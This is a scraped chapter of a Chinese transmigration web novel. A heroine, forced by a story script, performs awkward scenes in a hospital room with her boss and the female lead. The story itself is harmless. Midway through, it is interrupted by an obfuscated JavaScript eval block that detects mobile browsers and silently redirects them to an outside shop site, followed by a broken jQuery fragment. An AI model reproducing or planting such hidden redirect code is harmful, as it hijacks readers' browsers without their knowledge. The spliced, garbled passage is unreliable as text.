文趣网 > 其他小说 > 兼职女二[穿书] > 30. 探病
    邵月橙一瘸一拐钻进后座时,刚好看到聂秦远挂断了远程电话。

    想到系统刚唱的那句歌词,邵月橙没忍住摸了摸鼻子。

    她那颗要早起赶工的心,这才稍稍有了点平衡。

    车子缓缓行驶中,两人都不说话。

    气氛尴尴尬尬。

    邵月橙挪了挪屁股,主动认错道:“我是不是闯祸了,今早的那个新闻......”

    她没敢往下说完,怕真‘挨打’。

    要万一被击毙了......

    她正神游天外间,就听对方淡淡道:“下午就没了。”

    没了......

    邵月橙闻言缩了缩脖子,安静如鸡。总感觉对方是在内涵自己。

    “伤怎么样了?”

    邵月橙还没从对方“威胁”的话语中回过神来,闻言愣了一瞬,下意识侧眸看。

    只见聂秦远的目光,正落在了她受伤的那只脚上。

    “还好,不影响行动。”她往里挪了下脚,轻声道。

    聂秦远眼前浮现的,是杨殃拍回的那张血淋淋的照片。他眉峰紧蹙:“为什么这么做?”

    邵月橙将手撑在皮质座椅上,闻言偏头朝人扬眸浅笑:“因为我是爱您的随行小保镖呀。”

    初晨的阳光被车玻璃滤了层薄薄的亮色,笼在她发间。

    长而卷翘的睫毛微扇。笑意盈盈间,透着几分沁人的暖意。

    聂秦远呼吸滞了一瞬,薄红悄悄攀上了他耳根。

    “那个......但是老板啊,”邵月橙搓着手,把屁股往对方那边挪了挪,“如果你真想感谢我的话......”

    她明目张胆地偷瞄着聂秦远,摊开手朝人伸过去可怜巴巴道:“能把我的高档伴手礼还我吗?”

    杨殃悄摸摸停车。

    空气安静得连到地了,他也没敢出声提醒。

    沉默中,聂秦远额角抽了一下,耳根边刚泛起的薄红又迅速退了个一干二净。

    他瘫着脸硬邦邦道:“自己去拿。”

    邵月橙眼睛亮了一下,继续装乖巧可怜道:“今天就可以吗?”

    “随你。”聂秦远拉开车门走了出去,有点不爽道。

    邵月橙愣了愣,搞情况不清。

    她一脸问号地看向驾驶座。而眼观鼻鼻观口,满脸写着‘我不知道不要问我’的杨助理只是默默掏出手机,把庄园地址给人发了过去。

    想不通就不想。

    这是邵月橙除开钱以外,对其他一切事物的准则。

    反正伴手礼也回来了,今天算是赚了个开门红。

    大吉。

    她心情不错地跟在大佬屁股后面吊着,想想一会该如何表演。

    其实她今天还有两场戏。

    一场,是一会得在病房里当着辛阙的面拉着聂秦远秀恩爱,阴阳对方。

    另一场,则是需要偷偷将有幽闭恐惧症的辛阙关进厕所里受苦,让聂秦远赶过来英雄救美,以此增进两人感情。

    她该怎么演呢......

    邵月橙正晃着手上的橙子挂坠思考时,就见远处的聂秦远就已经拐进了一间病房里。

    她整理了一下表情,正想跟上。身体突然就跟过了电似的,抖了两下。

    紧接着,她就跟不受控制般开始踏步往前。

    我靠。

    不是吧。

    又来?!

    猛然想起原书中这段描写她穿的似乎是高跟鞋,尖尖的鞋跟还要在地面上敲击出清脆的声响,邵月橙就苦不堪言。

    她特么才受的工伤好吧!

    怎么穿高跟鞋!!

    叫系统,系统不应。

    邵月橙脚又疼,又还要演。

    无奈之下,她只能蹦跶着单脚跳,好歹也跳出了同样的音效。但问题是--

    杀千刀的故事框架。

    整整要她跳了五十米!!!

    “咚咚咚”的诡异蹦跶声中,被控制狠了的邵月橙累得蓬头垢面后,一把薅上了聂秦远的手臂。

    从盖了一脸的头发缝里抬眸,对上了房间里一溜老老少少医生惊恐的脸。

    最前面的主治医生疯狂摸铃,感觉像是要报警。

    邵月橙扒拉开被汗粘着的头发,讪笑着正要解释。

    突然感觉又来了。

    “哎呀~”被硬控的邵月橙死扣着聂秦远的胳膊扭了下腰,绿着脸贴在对方身边干巴巴道,“都怪远哥哥昨晚非要喝酒,害得我今早起不来,来晚了。”

    差点被扭折了腰的邵月橙:“......”什么大吉!今天大凶!!

    近距离感受‘鬼上身’的聂秦远:“......”............

    仿佛看见‘佐子’扭秧歌的查房医生们:“......”快快快,速效救心丸在哪里!!!

    只有被众医生围在中间的辛阙,默默看了眼墙上不到八点的钟,不敢多言。

    房间里静悄悄的。

    抱着‘敌不动我不动’的思想,大家谁都没先动。

    聂秦远瘫起张脸抽回手,还没开口,邵月橙又来活了。

    “啊!!!”她一嗓子嚎得一病房人全懵了,医生手里的查房板都掉到了地上。

    邵月橙笑瘫了脸,干脆破罐子破摔,决定放飞自我。

    “远哥哥,”她一手捂着唇,一手点在了她昨天戳过的喉结上,语气夸张道,“你这里怎么红红的?”

    “昨晚我喝醉后是不是又咬你啦?”邵月橙抬手对人发起‘天马流星拳’,眨着眼撒娇道,“都说了别让人家那么放肆的~”

    甚至被人捶退了一步的聂秦远,脸直接黑成了锅底:“够了!”

    “哦。”邵月橙怂怂站好,乖乖收起了她的流星拳。

    病房里落针可闻。

    主治医生顶不住了,咳嗽道:“小李啊,咱们一会几点开会?”

    突然被cue的小李福至心临,肯定接话道:“八点。”

    主治医生立马讪笑着朝聂秦远走去:“聂总,那我们就不打扰了。”

    聂秦远瘫着张棺材脸点了下头,众医生如蒙大赦,麻溜溜出了门。

    医生们如蒙大赦了,可邵月橙还没有啊。

    她被硬控着走到床边,将手里拎着的包装盒丢给辛阙,摆出个傲慢又轻蔑的表情:“对了,听说你穷得连鞋带都买不起。”

    聂秦远眉头微蹙,正要上前。辛阙却已经垂眸打开了手里的包装盒。

    她倒吸口气,眼里润出了点点湿意。

    包装盒里,放着两根绑在玻璃棱柱上的纯白芭蕾丝带。

    虽材质寻常。但每根丝带上,都用银线绣有羽毛暗纹。

    衔接在一起时,就仿若一对展翅欲飞的翅膀。栩栩如生。

    “这种不值钱的玩意儿,”邵月橙继续抬着下巴‘傲慢’,“就送你当慰问品了......”

    聂秦远神情复杂地打断道:“该走了。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652821|205302||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    辛阙紧紧抿着唇,像是在极力忍受着某种情绪。再抬眸时,眼眶已经红了一大片。

    “外公走后......就再没有人给我缝过这个了......”她话语哽咽,有泪滴落在了盒子里,“阿橙姐姐,谢谢你......”

    邵月橙摸了摸鼻子。

    嗯......

    她这应该算阴阳过了吧?

    看辛阙啪嗒啪嗒掉眼泪,邵月橙是想上前安慰人的。但这该死的故事框架不让啊。

    把她钉原地钉得死死的。

    她想侧眸示意聂秦远,结果一扭头就和端着托盘进来的护士对上了眼。

    好了。

    这下能动了。

    “啊!远哥哥救我——”邵月橙突然踉跄着撞向护士托盘,翘起一只脚“炫”进了聂秦远怀里。

    还把人扒得紧紧的。

    当场给人摆出了个静静的“Y”。

    邵月橙木着脸想原地入定:“......”死腿,你怎么不挪开!

    行行行,还有最后一句台词。

    眼看着聂秦远要按原剧本弯腰来抱她。不想被人打横抱起的邵月橙干脆把眼一闭,直接搂住对方的脖子当“考拉”。

    并瘫着脸贴脸“噗”气,勉强以‘笑’的气音念完了最后一句话:“她这样子,还能跳舞吗......”

    猝不及防被‘噗’了一脸,并且睫毛都被‘噗’得抖了抖的聂秦远:“......”

    正要下地将丝带礼盒收好的辛阙:“???”

    搞不清状况的工具人护士:“——”

    已经决定放飞自我,但还飞得不是很开的邵月橙:“∶)”

    最重要的是——

    为什么她还不能下来!

    她不是已经按流程念完台词了吗!!

    邵月橙在她老板的死亡凝视下感觉灵魂快升天,偏偏故事框架还让她扒着,就是不让她下来。

    想到书里写,最后是聂秦远将她抱出门后才放下的,她就要哭死。

    不会是对方不放,她就一直下不来吧。

    我靠。

    邵月橙麻了,干脆一不做二不休。得想办法让对方主动放她下来才行。

    至于死不死的,等她能下来了再说!

    “跳舞~继续跳舞~~”邵月橙就着自己这个‘考拉’姿势挂聂秦远身上边扭边唱,“谈恋爱不如跳舞~”

    左边扭来,右边去。全当老板是空气。

    莫名成了根人体钢管,并差点又要被锁喉的聂秦远,有点忍无可忍。

    提溜起邵月橙的衣领,就将人拎了下来。

    “胡闹够了?”对方眯了下眼,冷冷问。

    邵月橙打了个激灵,感觉海啸前平静的风正吹打着她的心田。

    “够了够了够了......”邵月橙秒怂,用眼神示意对方可以放手。

    好歹给她留点面子嘛。

    聂秦远冷哼,直接无视。

    “你好好休息。”他侧头朝辛阙说完,便提溜着邵月橙出了门。

    邵月橙一脸苦叽叽朝人挥手,被拎着倒退蹦出门去接受自己的“命运”。

    辛阙愣了一下,“噗呲”乐出了声来。

    她摩挲着手上邵月橙送的包装盒,想到了几年前的夏夜。

    那时候面对“不小心”跌进他怀里的她时,聂秦远也只是不着痕迹地避过后,礼貌地扶了她一下。

    或许有些事......它原本就是注定的。